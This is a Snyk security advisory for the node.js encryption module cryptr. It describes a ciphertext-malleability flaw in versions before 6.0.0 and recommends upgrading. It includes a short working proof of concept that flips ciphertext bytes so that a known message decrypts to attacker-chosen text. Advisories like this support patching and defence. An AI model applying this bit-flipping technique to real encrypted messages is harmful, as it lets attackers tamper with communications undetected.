Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Insufficient Entropy vulnerabilities in an interactive lesson.
Start learningUpgrade cryptr
to version 6.0.0 or higher.
cryptr is a simple aes-256-ctr
encrypt and decrypt module for node.js.
Affected versions of this package are vulnerable to Insufficient Entropy. If the cleartext contents of encrypted strings are known, it is possible to alter the content of the encrypted string without knowledge of the key. An attacker could modify encrypted messages in transit without detection.
by duskwuff
:
var tmp = Buffer.from(encryptedString, "hex"); var b1 = Buffer.from("bacon"), b2 = Buffer.from("hello"); for (var i = 0; i < b1.length; i++) { tmp[i + 16] ^= b1[i] ^ b2[i]; } var ep = tmp.toString("hex"); console.log(ep); // "bcb23b81c4839d06644792878e569de4f855ff8306"
var dp = cryptr.decrypt(ep); console.log(dp); // "hello"